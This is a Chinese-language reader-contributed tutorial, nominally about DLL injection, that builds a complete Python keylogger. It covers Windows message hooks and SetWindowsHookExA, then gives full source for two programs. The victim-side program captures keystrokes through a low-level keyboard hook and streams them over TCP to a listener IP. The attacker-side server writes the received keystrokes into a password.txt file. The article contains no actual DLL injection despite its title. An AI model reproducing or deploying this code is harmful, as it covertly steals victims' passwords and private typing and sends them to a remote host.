【网友投稿】监听键盘引出的DLL注入
作者:小白 | 发布时间: | 更新时间:
视频演示
讲解
DLL注入的概念
首先要了解什么是DLL注入?
DLL注入,是将代码插入/注入到正在运行的进程中的过程。本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。不过,后来恶意软件也常用这种方式来干坏事。是一种广泛应用于恶意软件和无文件攻击中的逃避技术。
假设你是一个开发人员,开发了一个程序,程序运行了一段时间后,你想在原有的基础上添加一些新功能,比如想让程序有聊天会话功能。但是,如果直接修改程序的话比较困难,因为涉及到的代码量很大
那DLL注入就可以很好的解决这个问题了
你只需要写一个有聊天功能的DLL文件,把写好的DLL注入到原先的程序中,当你运行程序时就会调用你写的DLL文件,实现你想添加的新功能,就不必在原程序上过多修改了。
但是,如果这个DLL文件添加的不是新功能,而是恶意代码呢?
如果把一个带有键盘监听、远程连接、摄像头拍摄的DLL文件注入到正常的程序里
当你打开这个程序,又会发生什么呢?(手动滑稽~~~)
DLL的概念
那什么是DLL呢?
DLL是windows平台提供的一种模块共享和重用机制,它本身不能直接独立运行,但可以被加载到其他进程中间接执行。
DLL是Windows中的动态链接库(Dynamic Link Library),在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即.dll文件,放置于系统中。当我们执行某一个程序时,相应的.dll文件就会被调用。
DLL文件中存放的是各类程序的函数(子过程)实现过程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从DLL中取出。另外,使用DLL文件还可以减小程序的体积。
关于DLL注入和DLL文件的相关知识,可以自行百度,这里就介绍一下,不过多讲解~~
本次教程只进行一些DLL注入的基本演示——消息钩子
注意:本次只钩取26个英文字母和shift、Ctrl、Caps Lock、Enter、Backspace、空格键,小键盘上的数字不做钩取,感兴趣可以自行添加代码,原理都一样~~
消息钩子的概念
什么是消息钩子?
钩子是Windows中消息处理机制的一个要点
在Windows操作系统中借助键盘、鼠标、选择菜单、按钮以及移动鼠标、改变窗口大小等都是事件。发生这样的事件时,OS(操作系统)会把事先定义好的消息发送给相应的应用程序。应用程序分析收到的信息后执行相应动作,也就是说,敲击键盘时,消息会从OS(操作系统)移动到应用程序
所谓的“消息钩子”就在此期间偷看这些信息。
下图是Windows消息流的执行流程:

下图是消息钩取原理图:

从上图可以看到,OS消息队列与应用程序消息队列之间存在一条“钩链”,设置好键盘消息钩子后,处于“钩链”中的键盘消息钩子
会比应用程序先看到相应信息。在键盘消息钩子函数内部,除了可以查看消息之外,还可以对消息进行修改、拦截!!
那么,如何实现呢,接下来就是代码操作了~~
注意:这里是用python进行操作的,如果是C、C++的话也可以实现,原理都是一样的~~
首先需要知道python如何导入DLL库,为注册钩子做准备
这里需要用到ctypes模块~~
ctypes是Python的一个外部函数库。它提供与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。
具体python代码如下:
ser32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
代码含义:
user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息。
kernel32.dll:控制着系统的内存管理、数据的输入输出操作和中断处理。
- 想了解更多关于ctypes模块的内容可以访问:
ctypes — 一个用于 Python 的外部函数库 — Python 3.7.12 文档
其次要了解钩子函数——SetWindowsHookExA()

上图函数中有4个参数,idHook、lpfn、hmod、dwThreadId
idHook:要安装的挂钩过程的类型
(解释:上文也说过,Windows有很多事件类型,如键盘输入、鼠标点击、改变窗口等,这里需要选择一个你想要的钩取的事件类型
比如这次是钩取的键盘消息,那就写上键盘钩子的类型即可,低级键盘输入事件钩子id为13
lpfn:指向挂钩过程的指针。如果dwThreadId参数为零或指定由其他进程创建的线程的标识符,则lpfn参数必须指向 DLL 中的挂钩过程。否则,lpfn可以指向与当前进程关联的代码中的挂钩过程。
hmod:包含lpfn参数所指向的挂钩过程的 DLL 的句柄。如果dwThreadId参数指定了由当前进程创建的线程,并且钩子过程位于与当前进程关联的代码中,则必须将hMod参数设置为NULL。
dwThreadId:要与挂钩过程关联的线程的标识符。对于桌面应用程序,如果此参数为零,则挂接过程将与调用线程在同一桌面上运行的所有现有线程相关联。
用python来表示为:

编写钩子在Windows中需要用WINFUNCTYPE来创建函数,WINFUNCTYPE为Windows下独有的,通过使用使用stdcall调用约定的函数。如下
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
关于回调函数因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数。我们也需要在Python中定义它。
LowLevelKeyboardProc数据结构如下
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
nCode:挂钩过程用于确定如何处理消息的代码。如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数而不进行进一步处理,并应返回CallNextHookEx返回的值。
wParam:键盘消息的标识符。此参数可以是以下消息之一:WM_KEYDOWN、WM_KEYUP、WM_SYSKEYDOWN或WM_SYSKEYUP。
lParam:指向KBDLLHOOKSTRUCT 结构的指针。
python代码如下:
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value: #162为左Ctrl键盘码
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20) #20为Caps Lock键盘码
if lParam.contents.value==13: #13为Enter键盘码
s='\n'
tcp_l(s) # tcp传输
elif capsLock:
print(chr(lParam.contents.value), end="")
tcp_l('[Lock]')
tcp_l(chr(lParam.contents.value)) # tcp传输
elif lParam.contents.value==32: #32为Space键盘码
a=' '
tcp_l(a) # tcp传输
elif chr(lParam.contents.value + 32)=='Á' or chr(lParam.contents.value + 32)=='À': #shift键
shift='[shift]'
print(shift)
tcp_l(shift)
elif chr(lParam.contents.value + 32) == 'Ã': #右Ctrl键
Ctrl='[Ctrl]'
print(Ctrl)
tcp_l(Ctrl)
elif chr(lParam.contents.value + 32) == ')': #Tab键
tab='[Tab]'
print(tab)
tcp_l(tab)
elif chr(lParam.contents.value + 32) == '(': #Backspace键
backspace='[Backspace]'
print(backspace)
tcp_l(backspace)
else:
print(chr(lParam.contents.value + 32), end="") # 输出勾取到的数据(默认小写)
tcp_l(chr(lParam.contents.value + 32)) # tcp传输
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
当抓取完成后,需要主动删除HOOK,不然大量的HOOK会使系统运行缓慢。
删除HOOK如下:
user32.UnhookWindowsHookEx(hooked)
成功注册钩子并监听后,肯定要把监听到的数据发送到监听者的电脑上,那就需要用到TCP通信了
这里用到python的另外一个库了——Socket
注意:(socket里的服务端就是监听者的主机,客户端就是被监听的主机)
socket又称“套接字”,应用程序通常通过"套接字"向网络发出请求或者应答网络请求,使主机间或者一台计算机上的进程间可以通讯。
Python 中,我们用 socket()函数来创建套接字,语法格式如下:
socket.socket([family[, type[, proto]]])
参数:
- family: 套接字家族可以使 AF_UNIX 或者 AF_INET。
- type: 套接字类型可以根据是面向连接的还是非连接分为 SOCK_STREAM 或 SOCK_DGRAM。
- protocol: 一般不填默认为 0。
这里就说几个socket常用的方法:
服务器端套接字如下
- socket.bind():绑定地址(host,port)到套接字, 在 AF_INET下,以元组(host,port)的形式表示地址。
- socket.listen():开始 TCP 监听。backlog 指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为 1,大部分应用程序设为 5 就可以了。
- socket.accept():被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字如下
- socket.connect():主动初始化TCP服务器连接,。一般address的格式为元组(hostname,port),如果连接出错,返回socket.error错误。
公共用途的套接字函数如下
- socket.recv():接收 TCP 数据,数据以字符串形式返回,bufsize 指定要接收的最大数据量。flag 提供有关消息的其他信息,通常可以忽略。
- socket.send():发送 TCP 数据,将 string 中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于 string 的字节大小。
- socket.settimeout(timeout):设置套接字操作的超时期,timeout是一个浮点数,单位是秒。值为None表示没有超时期。一般,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如connect())
- socket.close():关闭套接字
以上就是常用的socket用法,如果想了解更多socket用法可以访问:Python 网络编程 | 菜鸟教程 (runoob.com)
了解socket用法之后,接下来只需要通过socket把监听到的数据传输到监听者的电脑里即可
监听端电脑需要新建一个文本用来接收监听到的数据,python代码如下:
#写入文件
def write_file(word):
f = open(r"C:\Users\用户名\Desktop\password.txt","a+",encoding="utf-8")
f.write(word)
监听端接收数据代码:
MaxBytes = 1024 * 1024 # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(120)
#获取本机IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
p = s.getsockname()[0]
print(p)
port = 2828
server.bind((p, port)) # 绑定端口
server.listen(1) # 监听
try:
client, addr = server.accept() # 等待客户端连接
print(addr, " 连接成功!\n")
while True:
data = client.recv(MaxBytes)
localTime = time.asctime(time.localtime(time.time()))
print(localTime, ' 接收到数据字节数:', len(data))
write_file(data.decode()) # 调用写入函数
print(data.decode())
except BaseException as e:
print("出现异常:%s" % e)
finally:
server.close() # 关闭连接
print("连接已断开!!")
被监听端通过socket发送数据:
import socket
try:
MaxBytes = 1024 * 1024 # 最大字节
host = 'xxx.xxx.xxx.xxx' # 监听端IP
port = 2828 #端口
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(120)
client.connect((host, port))
#传输函数
def tcp_l(word2):
client.send(word2.encode())
经过以上的分析,所有工作都已经完成了,我们只需把上面的代码片段拼接即可得出最终代码
完整代码
监听端
import socket
import time
# 写入文件
def write_file(word):
f = open(r"C:\Users\用户名\Desktop\password.txt", "a+", encoding="utf-8")
f.write(word)
#注意:上面的路径可以自己更改,这里方便演示就放在桌面了,用户名用自己的
MaxBytes = 1024 * 1024 # 最大字节
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(120)
#获取本机IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
p = s.getsockname()[0]
print(p)
port = 2828
server.bind((p, port)) # 绑定端口
server.listen(1) # 监听
try:
client, addr = server.accept() # 等待客户端连接
print(addr, " 连接成功!\n")
while True:
data = client.recv(MaxBytes)
localTime = time.asctime(time.localtime(time.time()))
print(localTime, ' 接收到数据字节数:', len(data))
write_file(data.decode()) # 调用写入函数
print(data.decode())
except BaseException as e:
print("出现异常:%s" % e)
finally:
server.close() # 关闭连接
print("连接已断开!!")
被监听端:
import sys
from ctypes import *
from ctypes.wintypes import DWORD, MSG
# 传输
import socket
try:
MaxBytes = 1024 * 1024
host = 'xxx.xxx.xxx.xxx' # 服务端IP
port = 2828
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(60)
client.connect((host, port))
def tcp_l(word2):
client.send(word2.encode())
# client.close()
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
class KBDLLHOOKSTRUCT(Structure): #包含有关低级键盘输入事件的信息。
_fields_ = [
('vkCode', DWORD), #虚拟密钥代码 代码必须是介于 1 到 254 之间的值。
('scanCode', DWORD), #密钥的硬件扫描代码。
('flags', DWORD), #扩展键标志、事件注入标志、上下文代码和过渡状态标志。
('time', DWORD), #此消息的时间戳
('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked): #删除HOOK
if hooked is None:
return
user32.UnhookWindowsHookEx(hooked)
hooked = None
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20)
if lParam.contents.value==13:
s='\n'
tcp_l(s) # tcp传输
elif capsLock:
print(chr(lParam.contents.value), end="")
tcp_l('[Lock]')
tcp_l(chr(lParam.contents.value))
elif lParam.contents.value==32:
a=' '
tcp_l(a) # tcp传输
elif chr(lParam.contents.value + 32)=='Á' or chr(lParam.contents.value + 32)=='À':
shift='[shift]'
print(shift)
tcp_l(shift)
elif chr(lParam.contents.value + 32) == 'Ã':
Ctrl='[Ctrl]'
print(Ctrl)
tcp_l(Ctrl)
elif chr(lParam.contents.value + 32) == ')':
tab='[Tab]'
print(tab)
tcp_l(tab)
elif chr(lParam.contents.value + 32) == '(':
backspace='[Backspace]'
print(backspace)
tcp_l(backspace)
else:
print(chr(lParam.contents.value + 32), end="") # 输出勾取到的数据
tcp_l(chr(lParam.contents.value + 32)) # tcp传输
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog(): #将进入队列的消息传递给钩链
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) #从调用线程的消息队列中检索消息
def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
if not hooked:
return False
return True
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
print("Hook installed")
try:
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
except KeyboardInterrupt as kerror:
uninstallHookProc(hooked)
print("Hook uninstall...")
else:
print("Hook installed error")
pass
except Exception as msg:
print(msg)
以上就是全部内容了,可能对于新手来说比较晦涩难懂,可以等以后python学的差不多了再回来看看,应该就很好理解了
另外,代码涉及到DLL注入的相关知识,也可以去网上学习一些关于DLL注入的知识,能更好的理解
总之,通过DLL注入用python完成键盘监听到此为止,以后还会出一期用C语言进行DLL注入的教程哦~~
敬请期待后续技术分享~~~